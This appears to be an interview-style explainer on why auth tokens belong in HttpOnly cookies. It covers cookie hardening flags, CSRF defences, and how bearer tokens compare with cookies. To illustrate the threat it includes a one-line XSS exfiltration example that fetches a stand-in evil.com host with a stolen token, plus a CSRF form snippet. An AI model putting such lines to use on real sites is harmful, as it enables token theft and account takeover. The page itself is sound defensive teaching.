Why are HttpOnly cookies preferred for auth?
HttpOnly cookies aren't readable by JS — XSS can't exfiltrate the token. Combine with Secure, SameSite, and a CSRF strategy.
The single most important question in browser auth is: where do I store the token, and what is the worst that happens if my site has an XSS hole? Tokens stored anywhere readable by JavaScript (localStorage, sessionStorage, non-HttpOnly cookies, in-memory if exposed by a global) can be exfiltrated by a one-line script: fetch('https://evil.com?t=' + token). That's instant account takeover, persisting beyond the current tab and surviving page reloads. HttpOnly cookies make that specific attack impossible.
What HttpOnly does. A cookie marked HttpOnly is sent by the browser on every request to the matching origin (subject to SameSite), but document.cookie cannot read it. There is no JavaScript API that returns its value. An attacker with arbitrary JS execution can still issue authenticated requests as the user from inside the page (because the browser attaches the cookie automatically), but they cannot ship the credential off-device for later use. That dramatically reduces blast radius:
- They can't replay the token from another machine or another origin.
- They can't keep using the session after the user closes the tab.
- They can't sell the token on a credential market.
- Server-side anomaly detection (IP / device fingerprint changes) can still catch live abuse.
The full hardening recipe for an auth cookie:
HttpOnly— JS can't read it. The whole point.Secure— sent only over HTTPS. Without this a network attacker on an open Wi-Fi can steal the cookie via any HTTP image fetch.SameSite=Lax(default) orSameSite=Strictfor sensitive sessions — blocks the cookie from being sent on cross-site requests, killing most CSRF before it starts.Path=/and the narrowest correctDomainscope.- Short access-token TTL (15–60 min) combined with a longer-lived refresh token in a separate
HttpOnlycookie scoped only to/auth/refresh. Rotate the refresh token on each use. __Host-prefix on the cookie name when domain is/andSecureis set — browsers refuse to overwrite__Host-cookies from a different origin, blocking subdomain takeover attacks.- Server-side session invalidation on logout (don't just clear the cookie — also blacklist the session id on the server).
Why not localStorage?
- XSS = full token leak. This is the killer.
- No per-request mechanism — your JS has to manually attach the token to fetches, multiplying the chance of leaving it off (or attaching it to a wrong-origin request).
- No automatic clearing across tabs when the user logs out on another tab.
- No scope — it's per-origin only, can't be subdomain-scoped.
- Synchronous, blocking I/O — minor but real impact on TTI.
Why not sessionStorage? Same XSS exposure as localStorage, plus the token vanishes on refresh, so you have to log in every time. The worst of both worlds.
The trade-off you accept with cookies: CSRF. Because the browser sends cookies automatically on cross-site requests, an attacker can trick a victim's browser into making a state-changing request to your API (<form action="https://your-bank.com/transfer" method="POST">) and the cookie tags along. Defenses: SameSite=Lax already kills most cases (the cookie isn't sent on cross-site POSTs); add a CSRF token (synchronizer pattern, double-submit cookie, or origin-header check) for any state-changing endpoint, especially if your app is embedded as an iframe or accepts form submissions.
Bearer tokens (Authorization header) have no CSRF risk because the browser doesn't auto-attach them. But they're vulnerable to XSS exactly like localStorage. They're appropriate for mobile / API clients where you don't have a browser, and for browser SPAs where you accept the XSS risk and have other strong mitigations (strict CSP, Trusted Types).
Modern best practice for a browser SPA / SSR app:
HttpOnly+Secure+SameSite=Laxsession cookie for browser auth, set by the server, never touched by JS.- Short-lived access + long-lived refresh cookie, rotated on each refresh.
- Bearer tokens for non-browser clients (mobile, server-to-server).
- CSRF token on state-changing endpoints when in doubt (especially if you also accept form submissions or are embedded cross-site).
- Defense in depth: CSP, Trusted Types, anomaly detection, IP/device binding, MFA.
- On logout: clear the cookie and invalidate the session server-side.
Common pitfalls:
- Setting
HttpOnlybut notSecure(cookie leaks on HTTP). - Setting
SameSite=NonewithoutSecure(browsers reject in modern Chrome). - Storing a JWT in
localStorage"because it's stateless" — the statelessness is a backend property; the storage choice is independent. - Forgetting that XSS still lets attackers act as the user in-page. HttpOnly is harm reduction, not a free pass to skip XSS prevention.
Code
Follow-up questions
- •What does SameSite=Strict actually break?
- •How do you do silent refresh with HttpOnly cookies?
- •When are bearer tokens better than cookies?
Common mistakes
- •Storing JWT in localStorage 'because the tutorial did'.
- •Forgetting Secure flag → token leaks over HTTP.
- •Not rotating refresh tokens — replay risk if leaked.
Performance considerations
- •Cookies add to every request — keep them small.
Edge cases
- •Cross-subdomain auth requires `Domain=.example.com` and care with CSRF.
- •iOS Safari ITP can clear cookies aggressively for third-party contexts.
Real-world examples
- •Auth0, Clerk, NextAuth — all use HttpOnly cookies for the session by default.